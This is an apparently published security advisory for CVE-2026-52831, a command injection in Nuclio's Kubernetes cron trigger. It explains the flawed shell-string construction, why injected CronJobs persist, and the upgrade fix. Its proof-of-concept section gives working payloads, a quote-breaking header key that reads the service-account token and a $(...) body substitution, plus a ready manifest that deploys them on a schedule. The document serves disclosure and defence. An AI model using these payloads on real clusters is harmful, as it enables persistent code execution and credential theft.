CVE-2026-52831: Nuclio Cron Trigger OS Command Injection (Persistent RCE)
Nuclio's Kubernetes cron trigger builds a shell command string from unsanitized user input, letting anyone with Dashboard access run arbitrary commands inside CronJob pods on every scheduled tick…
The problem
When a NuclioFunction with a cron trigger is reconciled, the controller calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go and builds a curl invocation string from trigger attributes. That string is stored verbatim as the args of a Kubernetes CronJob container running /bin/sh -c <command>.
Two fields flow into the string without adequate sanitization. Header keys from event.headers are interpolated directly inside double-quoted shell arguments, so a key containing " breaks quoting context and injects raw shell syntax. The event body is passed through strconv.Quote, which escapes " and \ but not $, (, or ), leaving command substitution fully intact.
Because the resulting CronJob carries no ownerReferences, Kubernetes cascade deletion does not remove it, and an injected CronJob keeps firing even after the source function is deleted.
Proof of concept
A working proof-of-concept for CVE-2026-52831 in github.com/nuclio/nuclio, with the exact payload below.
# Path A: header key injection
# Set event.headers key to:
X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
# Resulting /bin/sh -c argument (from verified CronJob .args):
curl --silent --header "X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo ": marker" ...
# Path B: body command substitution
# Set event.body to:
$(id 1>&2; echo BODY_INJECTION_PROOF)
# Resulting /bin/sh -c argument (from verified CronJob .args):
echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/eventbody.out && curl ...
# NuclioFunction manifest triggering Path A:
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
name: rce-demo
namespace: nuclio
labels:
nuclio.io/project-name: default
spec:
image: placeholder-function:latest
runtime: python:3.9
handler: main:handler
triggers:
cron-inject:
kind: cron
attributes:
schedule: "*/1 * * * *"
event:
headers:
'X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': markerPath A works because headerKey is concatenated directly inside a fmt.Sprintf double-quoted shell argument with no escaping at lazy.go:2150. A key containing " terminates the quoting context, and the remainder is parsed as raw shell syntax by /bin/sh.
Path B works because strconv.Quote wraps the body in double quotes and escapes " and \, but Go's standard library makes no guarantee about shell metacharacters. The characters $, (, and ) pass through untouched, so $(cmd) becomes the literal string "$(cmd)" in Go, which /bin/sh expands as command substitution at execution time (lazy.go:2188-2192).
The root cause in both cases is the same: building a shell command by string concatenation and then passing it to /bin/sh -c (the sink at lazy.go:2212). The persistence issue is a separate design flaw: the controller explicitly notes that CronJobs have no ownerReferences, so Kubernetes cascade deletion cannot clean them up automatically.
The fix
Upgrade to Nuclio 1.16.4 (patch commit 3356b86a8bfa). The preferred fix is to replace the /bin/sh -c <string> invocation with an exec-format argument list, passing each curl flag as a separate element of []string so the shell is never involved and no quoting or escaping is needed.
If a shell invocation must be retained, all user-supplied values must be properly POSIX-quoted before interpolation. As a temporary workaround, restrict Dashboard access to trusted networks and avoid creating functions with kind: cron triggers.
Related research
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race
- highgRPC-Go: xDS RBAC Authorization Bypass, HTTP/2 Rapid Reset DoS, and NOT-Rule Panic